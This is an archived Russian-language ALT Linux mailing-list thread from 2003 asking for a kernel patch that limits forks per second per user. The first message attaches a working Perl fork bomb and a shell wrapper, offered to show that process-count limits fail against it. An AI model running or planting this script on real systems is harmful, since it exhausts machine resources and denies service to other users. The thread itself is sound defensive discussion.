ALT Linux Community general discussions
 help / color / mirror / Atom feed
* [Comm] anti fork-bomb
@ 2003-03-05 19:20 Denis Smirnov
  2003-03-07  8:01 ` [Comm] " Michael Shigorin
  0 siblings, 1 reply; 3+ messages in thread
From: Denis Smirnov @ 2003-03-05 19:20 UTC (permalink / raw)
  To: community


[-- Attachment #1.1: Type: text/plain, Size: 657 bytes --]

Будет ли когда-нибудь в Мастере anti fork-bomb патч?

Дело в том, что лимита на количество процессов против правильно
сделаного fork-bomb недостаточно. Потому как если всё сделано правильно,
то количество непрерывно работающих процессов поддерживается на одном
уровне, и основная идея в том, чтобы пожирать ресурсы машины большим
количеством fork'ов.

Единственный способ, который я себе представляю для борьбы с такими
бомбами -- ограничение по количеству fork'ов в секунду на пользователя.

Простой пример подобной бомбы в аттаче -- у меня после этого
залогиниться в систему весьма тяжко.

-- 
С уважением, Денис

http://freesource.info

[-- Attachment #1.2: fork-bomb --]
[-- Type: text/plain, Size: 723 bytes --]

#!/usr/bin/perl -w

my $can_fork = 1;		# Можно ли делать повторный fork?
my $num_processes = shift || 32; # количество процессов

# Обработка завершения ребёнка
sub REAPER {
    wait;
    $can_fork = 1;
    $SIG{CHLD} = \&REAPER;  # loathe sysV
}

# Делаем fork, потом chikd завершается, а parent делает новый fork
sub eat_resources()
{
    while( 1 )
    {
	if( $can_fork )
	{
	    $can_fork = 0;
	    exit unless fork();
	}
    }
}


# Основная программа -- делаем указаное количество fork'ов, в каждом из
# которых запускаем пожиралку ресурсов
for( my $i = 0; $i < $num_processes; $i++ )
{
    if( !fork() )
    {
	$SIG{CHLD} = \&REAPER;
	eat_resources();
    }
}

while( 1 )
{
}

[-- Attachment #1.3: fork-bomb.text --]
[-- Type: text/plain, Size: 37 bytes --]

#!/bin/sh
ulimit -u 128

./fork-bomb

[-- Attachment #2: Type: application/pgp-signature, Size: 232 bytes --]

^ permalink raw reply	[flat|nested] 3+ messages in thread

* [Comm] Re: anti fork-bomb
  2003-03-05 19:20 [Comm] anti fork-bomb Denis Smirnov
@ 2003-03-07  8:01 ` Michael Shigorin
  2003-03-07 16:44   ` Denis Smirnov
  0 siblings, 1 reply; 3+ messages in thread
From: Michael Shigorin @ 2003-03-07  8:01 UTC (permalink / raw)
  To: community

[-- Attachment #1: Type: text/plain, Size: 236 bytes --]

On Wed, Mar 05, 2003 at 10:20:53PM +0300, Denis Smirnov wrote:
> Будет ли когда-нибудь в Мастере anti fork-bomb патч?

Это какой?

-- 
 ---- WBR, Michael Shigorin <mike@altlinux.ru>
  ------ Linux.Kiev http://www.linux.kiev.ua/

[-- Attachment #2: Type: application/pgp-signature, Size: 187 bytes --]

^ permalink raw reply	[flat|nested] 3+ messages in thread

* Re: [Comm] Re: anti fork-bomb
  2003-03-07  8:01 ` [Comm] " Michael Shigorin
@ 2003-03-07 16:44   ` Denis Smirnov
  0 siblings, 0 replies; 3+ messages in thread
From: Denis Smirnov @ 2003-03-07 16:44 UTC (permalink / raw)
  To: community

[-- Attachment #1: Type: text/plain, Size: 402 bytes --]

On Fri, Mar 07, 2003 at 10:01:54AM +0200, Michael Shigorin wrote:

>> Будет ли когда-нибудь в Мастере anti fork-bomb патч?
> Это какой?

Любой. Например можно выдрать кусок из grsecurity. Там, правда, просто
вкомпилируется максимальное количество fork'ов в секунду, и номер
группы, на пользователей из которой накладывается это ограничение.

-- 
С уважением, Денис

http://freesource.info

[-- Attachment #2: Type: application/pgp-signature, Size: 232 bytes --]

^ permalink raw reply	[flat|nested] 3+ messages in thread

end of thread, other threads:[~2003-03-07 16:44 UTC | newest]

Thread overview: 3+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2003-03-05 19:20 [Comm] anti fork-bomb Denis Smirnov
2003-03-07  8:01 ` [Comm] " Michael Shigorin
2003-03-07 16:44   ` Denis Smirnov

ALT Linux Community general discussions

This inbox may be cloned and mirrored by anyone:

	git clone --mirror http://lore.altlinux.org/community/0 community/git/0.git

	# If you have public-inbox 1.1+ installed, you may
	# initialize and index your mirror using the following commands:
	public-inbox-init -V2 community community/ http://lore.altlinux.org/community \
		mandrake-russian@linuxteam.iplabs.ru community@lists.altlinux.org community@lists.altlinux.ru community@lists.altlinux.com
	public-inbox-index community

Example config snippet for mirrors.
Newsgroup available over NNTP:
	nntp://lore.altlinux.org/org.altlinux.lists.community


AGPL code for this site: git clone https://public-inbox.org/public-inbox.git